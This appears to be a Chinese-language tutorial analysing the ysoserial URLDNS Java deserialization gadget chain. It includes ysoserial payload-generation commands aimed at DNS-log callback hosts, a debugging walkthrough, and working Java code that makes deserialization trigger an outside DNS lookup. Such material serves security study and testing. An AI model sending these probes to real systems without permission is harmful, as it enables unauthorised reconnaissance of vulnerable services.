事前准备
他的利用链
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
生成payload:
java -jar ysoserial.jar URLDNS http://xxx.ceye.io >out.bin
java -jar ysoserial.jar URLDNS http://3wai3k.dnslog.cn >out.bin
测试代码
import java.io.*;
public class URLDNST {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./out.bin"));
ois.readObject();
}
}
调试分析
在java.util.HashMap#readObject 里面的putVal下断点,看到key的值为我们传进去的dnslog地址
继续往下,看到进入到 java.util.HashMap#hash 函数中
进入URL#hashcode ,并且 hashCode的值为 -1
进入到URLStreamHandler#hashcode
跟进到 getHostAddress函数
到这里,就会进行一个DNS查询,我们在平台上就可以收到信息
payload
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://**.dnslog.cn/");
map.put(url,"1");
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./1.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此时触发dns请求
FileInputStream inputStream = new FileInputStream("./1.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
总结
基本流程就是当 hashmap 的key 在 put 以及 get 的时候,会计算key 的 hash ,而如果这个key 是 url 类型的时候,都会调用 java.net.URL#hashCode 方法来计算,在hashCode() 方法中,如果hashCode 为-1 ,就会调用 java.net.URLStreamHandler#hashCode 方法,而这个方法里面会进行 dns 查询。
参考 https://blog.youkuaiyun.com/qq_41891666/article/details/108018627